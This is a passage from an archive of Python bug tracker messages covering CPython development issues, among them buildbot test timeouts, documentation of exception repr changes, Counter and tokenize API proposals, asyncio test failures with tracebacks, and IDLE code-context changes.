In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1526579471.46.0.682650639539.issue33355@psf.upfronthosting.co.za> Paul Goins added the comment: Also, to be clear, I understand what David is saying and don't disagree at all. And if this really is Spectre related, it may be difficult to "go back" and test a before case, so my last comment about "digging in" may be rather moot. Does tweaking the timeout sound right (or good enough)? Or are there other things we ought to try first? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:05:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 18:05:22 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526580322.03.0.682650639539.issue33559@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This was done in issue30399, and I was not sure that this change is worth adding in What's New. Add a reference to the issue. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:17:49 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 17 May 2018 18:17:49 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526581069.54.0.682650639539.issue33559@psf.upfronthosting.co.za> Change by Miro Hron?ok : ---------- pull_requests: +6614 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:35:03 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 17 May 2018 18:35:03 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526582103.16.0.682650639539.issue33559@psf.upfronthosting.co.za> Miro Hron?ok added the comment: I was bit by this, so that's why I think this is worth documenting. https://github.com/testing-cabal/testtools/issues/270 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:41:15 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 18:41:15 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526582475.83.0.682650639539.issue33559@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 54fc49737a6a79f6e2ece16e22b233858b836567 by Steve Dower (Miss Islington (bot)) in branch '3.7': bpo-33559: Document changed repr of exceptions (GH-6943) (GH-6950) https://github.com/python/cpython/commit/54fc49737a6a79f6e2ece16e22b233858b836567 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:41:18 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 18:41:18 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526582478.89.0.682650639539.issue33559@psf.upfronthosting.co.za> Steve Dower added the comment: It's worth documenting. I'll merge the next PR with the attribution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:43:21 2018 From: report at bugs.python.org (Stefan Behnel) Date: Thu, 17 May 2018 18:43:21 +0000 Subject: [issue33561] Add .tostring() method to xml.etree.ElementTree.Element In-Reply-To: <1526577225.21.0.682650639539.issue33561@psf.upfronthosting.co.za> Message-ID: <1526582601.06.0.682650639539.issue33561@psf.upfronthosting.co.za> Stefan Behnel added the comment: Sorry, but you are proposing an API extension here that provides no benefits but duplicates existing functionality in a less versatile place. This is not going to happen. The second proposal (str(xml)) is actually not very helpful as it does not allow any kind of configuration, so it breaks backwards compatibility without benefit. Also not going to happen. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 14:44:45 2018 From: report at bugs.python.org (b@n) Date: Thu, 17 May 2018 18:44:45 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526582685.44.0.682650639539.issue33554@psf.upfronthosting.co.za> b at n added the comment: A little performance optimization, but I think the key is not in performance optimization. The semantics of the dictresize function are not uniform, and it is inconvenient for others to read. The dictresize function should be split to make it just resize. What do you think? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 15:05:10 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 19:05:10 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526583910.43.0.682650639539.issue33559@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset fb9dd8915314d857161de89fcbbb041f2b49fc22 by Steve Dower (Miro Hron?ok) in branch 'master': bpo-33559: Attribute changed repr of exceptions (GH-6954) https://github.com/python/cpython/commit/fb9dd8915314d857161de89fcbbb041f2b49fc22 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 15:06:00 2018 From: report at bugs.python.org (Allen Downey) Date: Thu, 17 May 2018 19:06:00 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1526583960.68.0.682650639539.issue25478@psf.upfronthosting.co.za> Allen Downey added the comment: I'd like to second Raymond's suggestion. With just a few additional methods, you could support a useful set of operations. One possible API: def scaled(self, factor) """Returns a new Counter with all values multiplied by factor.""" def normalized(self, total=1) """Returns a new Counter with values normalized so their sum is total.""" def total(self) """Returns the sum of the values in the Counter.""" These operations would make it easier to use a Counter as a PMF without subclassing. I understand two arguments against this proposal 1) If you modify the Counter after normalizing, the result is probably nonsense. That's true, but it is already the case that some Counter methods don't make sense for some use cases, depending on how you are using the Counter (as a bag, multiset, etc) So the new features would come with caveats, but I don't think that's fatal. 2) PMF operations are not general enough for core Python; they should be in a stats module. I think PMFs are used (or would be used) for lots of quick computations that don't require full-fledged stats. Also, stats libraries tend to focus on analytic distributions; they don't really provide this kind of light-weight empirical PMF. I think the proposed features have a high ratio of usefulness to implementation effort, without expanding the API unacceptably. Two thoughts for alternatives/extensions: 1) It might be good to make scaled() available as __mul__, as Peter Norvig suggests. 2) If the argument of scaled() is a mapping type, it might be good to support elementwise scaling. That would provide an elegant implementation of Raymond's chi-squared example and my inspection paradox example (http://greenteapress.com/thinkstats2/html/thinkstats2004.html#sec33) Thank you! Allen ---------- nosy: +Allen Downey _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 15:06:12 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 19:06:12 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526583972.82.0.682650639539.issue33559@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6615 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 15:17:04 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 19:17:04 +0000 Subject: [issue33558] Python has no icon in taskbar and in start screen In-Reply-To: <1526572416.53.0.682650639539.issue33558@psf.upfronthosting.co.za> Message-ID: <1526584624.29.0.682650639539.issue33558@psf.upfronthosting.co.za> Terry J. Reedy added the comment: For me, 3.6.5 IDLE has the same Python app icon (white notebook page with blue/yellow snakes) as always. But I upgraded from 3.6.4, etc, so my Win10 machine already had the icon. Filip, which Windows (in case it makes a difference)? Which *exact* installer (there are two you could have used). ---------- assignee: terry.reedy -> components: +Installation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:02:08 2018 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Thu, 17 May 2018 20:02:08 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1526587328.18.0.682650639539.issue25478@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: As I said above, if we're going to go down that route, it seems much more reasonable to me that total should be a cached property, that's updated on every Counter update (in __setitem__, increased by a difference of a new value and an old one for that key). And normalization should just provide a view over the Counter, that just passes the values through division with the above cached property. The view should of course be immutable by itself, but should reflect the changes of the underlying counter, just as already existing views (e.g. dict_values) do. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:10:07 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 20:10:07 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526587807.13.0.682650639539.issue33559@psf.upfronthosting.co.za> miss-islington added the comment: New changeset efa642779739b5af028b0f6ebb9033395e124273 by Miss Islington (bot) in branch '3.7': bpo-33559: Attribute changed repr of exceptions (GH-6954) https://github.com/python/cpython/commit/efa642779739b5af028b0f6ebb9033395e124273 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:28:39 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Thu, 17 May 2018 20:28:39 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526588919.28.0.682650639539.issue12486@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: > Why not just bless the existing generate_tokens() function as a public API, Yes please, or just make the private `_tokenize` public under another name. The `tokenize.tokenize` method try to magically detect encoding which may be unnecessary. ---------- nosy: +mbussonn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:40:11 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Thu, 17 May 2018 20:40:11 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526589611.24.0.682650639539.issue12486@psf.upfronthosting.co.za> Change by Thomas Kluyver : ---------- pull_requests: +6616 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:48:30 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Thu, 17 May 2018 20:48:30 +0000 Subject: [issue9969] tokenize: add support for tokenizing 'str' objects In-Reply-To: <1285679839.5.0.180278126855.issue9969@psf.upfronthosting.co.za> Message-ID: <1526590110.21.0.682650639539.issue9969@psf.upfronthosting.co.za> Thomas Kluyver added the comment: I've opened a PR for issue #12486, which would make the existing but undocumented 'generate_tokens' function public: https://github.com/python/cpython/pull/6957 I agree that it would be good to design a nicer API for this, but the perfect shouldn't be the enemy of the good. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:49:23 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Thu, 17 May 2018 20:49:23 +0000 Subject: [issue28418] Raise Deprecation warning for tokenize.generate_tokens In-Reply-To: <1476212697.92.0.408666384378.issue28418@psf.upfronthosting.co.za> Message-ID: <1526590163.05.0.682650639539.issue28418@psf.upfronthosting.co.za> Thomas Kluyver added the comment: I've opened a PR moving in the other direction (making this public rather than deprecating it): https://github.com/python/cpython/pull/6957 ---------- nosy: +takluyver _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:49:30 2018 From: report at bugs.python.org (Brett Cannon) Date: Thu, 17 May 2018 20:49:30 +0000 Subject: [issue33562] Check that the global settings for asyncio are not changed by tests Message-ID: <1526590170.07.0.682650639539.issue33562@psf.upfronthosting.co.za> New submission from Brett Cannon : There were not checks in test.libregrtest.save_env to make sure tests were not mucking with the default event loop. The settings to check seem to be: 'asyncio.get_event_loop_policy', 'asyncio.get_event_loop', 'asyncio_get_exception_handler', 'asyncio_get_debug', 'asyncio_get_child_watcher', I have a PR that I'm working on that checks these things and it looks like the following tests are being a little sloppy: test_asyncgen test_contextlib_async test_coroutines test_socket test_sys_settrace And test_asyncio never seems to complete. ---------- components: Tests messages: 316985 nosy: asvetlov, brett.cannon, giampaolo.rodola, yselivanov priority: normal severity: normal status: open title: Check that the global settings for asyncio are not changed by tests type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 16:50:40 2018 From: report at bugs.python.org (David Bolen) Date: Thu, 17 May 2018 20:50:40 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1526590240.94.0.682650639539.issue33355@psf.upfronthosting.co.za> David Bolen added the comment: A longer timeout might be another workaround, but for myself, I tend to favor Zachary's original suggestion of eliminating largefile tests for the moment as simplest and most robust. It would also reduce the overall percentage of test time currently spent on a small number of tests. Time (and budget) permitting, I do hope to try some tests on newer Azure machine types to see if they behave differently, which might be a longer term option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 17:03:16 2018 From: report at bugs.python.org (Brett Cannon) Date: Thu, 17 May 2018 21:03:16 +0000 Subject: [issue33562] Check that the global settings for asyncio are not changed by tests In-Reply-To: <1526590170.07.0.682650639539.issue33562@psf.upfronthosting.co.za> Message-ID: <1526590996.28.0.682650639539.issue33562@psf.upfronthosting.co.za> Change by Brett Cannon : ---------- keywords: +patch pull_requests: +6617 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 17:13:09 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 21:13:09 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526591589.19.0.682650639539.issue32831@psf.upfronthosting.co.za> Terry J. Reedy added the comment: After this is merged, we should immediately add 'async' to the list of block openers. With complete tests, we can more confidently cleanup the code a bit, as well as change behavior. The fourth field of info tuples, block keyword, is never used as part of info tuples. (It is used before being added in get_context.) ---------- versions: +Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 17:45:22 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Thu, 17 May 2018 21:45:22 +0000 Subject: [issue33563] fileinput input's and Fileinput's bufsize=0 do not remit deprecationWarnings Message-ID: <1526593521.99.0.682650639539.issue33563@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : In Lib/fileinput.py, passing bufsize=0 does not raise any DeprecationWarning. Also when using `input` the stacklevel could be better as it passes bufsize directly for FileInput. in Lib/test/test_fileinput.py ; MockFileInput does not reflect the changes of FileInput. Presumably MockFielInput was made to make sure that `input` was passing the parameters as is and should be update accordingly. ---------- messages: 316988 nosy: mbussonn priority: normal severity: normal status: open title: fileinput input's and Fileinput's bufsize=0 do not remit deprecationWarnings _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 17:49:59 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Thu, 17 May 2018 21:49:59 +0000 Subject: [issue33563] fileinput input's and Fileinput's bufsize=0 do not remit deprecationWarnings In-Reply-To: <1526593521.99.0.682650639539.issue33563@psf.upfronthosting.co.za> Message-ID: <1526593799.34.0.682650639539.issue33563@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6618 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 18:21:42 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 17 May 2018 22:21:42 +0000 Subject: [issue33459] Fix "tuple display" mention in Expressions In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1526595702.77.0.682650639539.issue33459@psf.upfronthosting.co.za> Andr?s Delfino added the comment: I'm restoring the original title since we are not sure it was incorrect after all. I have also updated the PR to remove the tuple display entry from the index. ---------- title: Define "tuple display" in the docs -> Fix "tuple display" mention in Expressions versions: +Python 2.7, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 18:52:17 2018 From: report at bugs.python.org (Paul Goins) Date: Thu, 17 May 2018 22:52:17 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1526597537.51.0.682650639539.issue33355@psf.upfronthosting.co.za> Paul Goins added the comment: I don't know enough about those tests and how important they are considered. My only concern would be with the increased risk of undetected breakage caused by removing them from CI, but if people think the risk is negligible and/or acceptable, it's fine by me. Anything to change in git, or is this purely build agent stuff at this point? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 19:34:19 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 23:34:19 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers Message-ID: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> New submission from Terry J. Reedy : I am just going to add 'async' to BLOCKOPENERS. I don't think this needs a particular test, as most of the openers are not used in the new tests added by #32831. We could eventually expand the sample to have one of each opener. ---------- assignee: terry.reedy components: IDLE messages: 316991 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: IDLE: add 'async' to codecontext block openers type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 19:36:43 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 23:36:43 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526600203.61.0.682650639539.issue32831@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Because BLOCKOPENERS is sufficiently distant from the changes for this issue, I will add 'async' now, without tests, in #33564. Some of my comments for this issue are ideas for future changes in codecontext.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 19:45:08 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 23:45:08 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526600708.93.0.682650639539.issue33564@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +6619 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 20:38:51 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 00:38:51 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526603931.91.0.682650639539.issue33564@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset d89ca94847d943b883ebcc68e4f0a18cb042ed0d by Terry Jan Reedy in branch 'master': bpo-33564: Add async to IDLE's code context block openers. (GH-6960) https://github.com/python/cpython/commit/d89ca94847d943b883ebcc68e4f0a18cb042ed0d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 20:39:54 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 00:39:54 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526603994.13.0.682650639539.issue33564@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6620 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 20:40:51 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 00:40:51 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526604051.12.0.682650639539.issue33564@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6621 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 20:56:07 2018 From: report at bugs.python.org (INADA Naoki) Date: Fri, 18 May 2018 00:56:07 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526582685.44.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: INADA Naoki added the comment: > A little performance optimization, but I think the key is not in performance optimization. > The semantics of the dictresize function are not uniform, and it is inconvenient for others to read. The dictresize function should be split to make it just resize. What do you think? I can't understand. What dictresize does now other than resize? Could you show how dictresize can be simplified when clear_dummy_keys() is added? Anyway, current my opinion is -1 on this. We can add similar function when fixing Issue31954. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 20:57:14 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 00:57:14 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526605034.81.0.682650639539.issue33531@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I have also gotten test_async errors on AppVeyor and MSTS Windows. ERROR: test__sock_sendfile_native_failure (test.test_asyncio.test_base_events.BaseLoopSockSendfileTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1881, in test__sock_sendfile_native_failure sock, proto = self.prepare() File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1866, in prepare self.run_loop(self.loop.sock_connect(sock, (support.HOST, port))) File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1846, in run_loop return self.loop.run_until_complete(coro) File "C:\projects\cpython\lib\asyncio\base_events.py", line 566, in run_until_complete return future.result() File "C:\projects\cpython\lib\asyncio\selector_events.py", line 475, in sock_connect return await fut File "C:\projects\cpython\lib\asyncio\selector_events.py", line 505, in _sock_connect_cb raise OSError(err, f'Connect call failed {address}') ConnectionRefusedError: [Errno 10061] Connect call failed ('127.0.0.1', 6284) ====================================================================== ERROR: test_sock_sendfile_fallback (test.test_asyncio.test_base_events.BaseLoopSockSendfileTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1903, in test_sock_sendfile_fallback sock, proto = self.prepare() File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1866, in prepare self.run_loop(self.loop.sock_connect(sock, (support.HOST, port))) File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1846, in run_loop return self.loop.run_until_complete(coro) File "C:\projects\cpython\lib\asyncio\base_events.py", line 566, in run_until_complete return future.result() File "C:\projects\cpython\lib\asyncio\selector_events.py", line 475, in sock_connect return await fut File "C:\projects\cpython\lib\asyncio\selector_events.py", line 505, in _sock_connect_cb raise OSError(err, f'Connect call failed {address}') ConnectionRefusedError: [Errno 10061] Connect call failed ('127.0.0.1', 6303) ====================================================================== ERROR: test_sock_sendfile_fallback_offset_and_count (test.test_asyncio.test_base_events.BaseLoopSockSendfileTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1914, in test_sock_sendfile_fallback_offset_and_count sock, proto = self.prepare() File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1866, in prepare self.run_loop(self.loop.sock_connect(sock, (support.HOST, port))) File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1846, in run_loop return self.loop.run_until_complete(coro) File "C:\projects\cpython\lib\asyncio\base_events.py", line 566, in run_until_complete return future.result() File "C:\projects\cpython\lib\asyncio\selector_events.py", line 475, in sock_connect return await fut File "C:\projects\cpython\lib\asyncio\selector_events.py", line 505, in _sock_connect_cb raise OSError(err, f'Connect call failed {address}') ConnectionRefusedError: [Errno 10061] Connect call failed ('127.0.0.1', 6308) ====================================================================== ERROR: test_sock_sendfile_no_fallback (test.test_asyncio.test_base_events.BaseLoopSockSendfileTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1892, in test_sock_sendfile_no_fallback sock, proto = self.prepare() File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1866, in prepare self.run_loop(self.loop.sock_connect(sock, (support.HOST, port))) File "C:\projects\cpython\lib\test\test_asyncio\test_base_events.py", line 1846, in run_loop return self.loop.run_until_complete(coro) File "C:\projects\cpython\lib\asyncio\base_events.py", line 566, in run_until_complete return future.result() File "C:\projects\cpython\lib\asyncio\selector_events.py", line 475, in sock_connect return await fut File "C:\projects\cpython\lib\asyncio\selector_events.py", line 505, in _sock_connect_cb raise OSError(err, f'Connect call failed {address}') ConnectionRefusedError: [Errno 10061] Connect call failed ('127.0.0.1', 6338) ---------------------------------------------------------------------- Ran 1729 tests in 89.932s Before that, for Brett test_popen (test.test_asyncio.test_windows_utils.PopenTests) ... Warning -- asyncio.get_event_loop_policy was modified by test_asyncio Before: After: test test_asyncio crashed -- Traceback (most recent call last): File "C:\projects\cpython\lib\test\libregrtest\runtest.py", line 179, in runtest_inner test_time = time.time() - start_time File "C:\projects\cpython\lib\test\libregrtest\save_env.py", line 305, in __exit__ current = get() File "C:\projects\cpython\lib\test\libregrtest\save_env.py", line 80, in get_asyncio_get_event_loop return asyncio.get_event_loop() File "C:\projects\cpython\lib\asyncio\events.py", line 645, in get_event_loop % threading.current_thread().name) RuntimeError: There is no current event loop in thread 'MainThread'. C:\projects\cpython\lib\asyncio\base_events.py:605: ResourceWarning: unclosed event loop <_WindowsSelectorEventLoop running=False closed=False debug=False> source=self) ok ---------------------------------------------------------------------- Ran 1729 tests in 25.061s OK (skipped=66) 1 test failed again: test_asyncio Before that, Brett got both sets of errors. Before that, three jobs got the 4 ConnectionRefused errors. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:04:37 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 01:04:37 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526605477.43.0.682650639539.issue33531@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I just got the two broken pipe error on Travis. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:07:52 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Fri, 18 May 2018 01:07:52 +0000 Subject: [issue31645] openssl build fails in win32 if .pl extension is not associated with Perl In-Reply-To: <1506727593.1.0.213398074469.issue31645@psf.upfronthosting.co.za> Message-ID: <1526605672.37.0.682650639539.issue31645@psf.upfronthosting.co.za> Change by Ivan Pozdeev : ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:15:24 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Fri, 18 May 2018 01:15:24 +0000 Subject: [issue22552] ctypes.CDLL returns singleton objects, resulting in usage conflicts In-Reply-To: <1412387689.66.0.814406977046.issue22552@psf.upfronthosting.co.za> Message-ID: <1526606124.29.0.682650639539.issue22552@psf.upfronthosting.co.za> Change by Ivan Pozdeev : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:23:00 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 18 May 2018 01:23:00 +0000 Subject: [issue28418] Raise Deprecation warning for tokenize.generate_tokens In-Reply-To: <1476212697.92.0.408666384378.issue28418@psf.upfronthosting.co.za> Message-ID: <1526606580.63.0.682650639539.issue28418@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks Thomas. I've been a long term user of tokenize.generate_tokens() and would be sad to see it go. The underlying _tokenize() functionality is used else within the module, so there the no benefit to removing the API. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:24:52 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 01:24:52 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526606692.6.0.682650639539.issue33531@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The Travis retest (for 3.7 backport) just failed with the same errors. Why can't we disable this tests. It now takes hours to do a merge with two backports. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:25:35 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 01:25:35 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526606735.1.0.682650639539.issue33564@psf.upfronthosting.co.za> miss-islington added the comment: New changeset eb4590e4d9abecdbbc91c3531df83e1f9bed50f1 by Miss Islington (bot) in branch '3.6': bpo-33564: Add async to IDLE's code context block openers. (GH-6960) https://github.com/python/cpython/commit/eb4590e4d9abecdbbc91c3531df83e1f9bed50f1 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 21:56:19 2018 From: report at bugs.python.org (Rolf Campbell) Date: Fri, 18 May 2018 01:56:19 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526608579.33.0.682650639539.issue33547@psf.upfronthosting.co.za> Rolf Campbell added the comment: Thanks David, I agree that my assumption that the local valiables were not being replaced is not really what was going on there. I also agree that, while this might not strictly classify as a bug, it's probably not the most helpful/useful 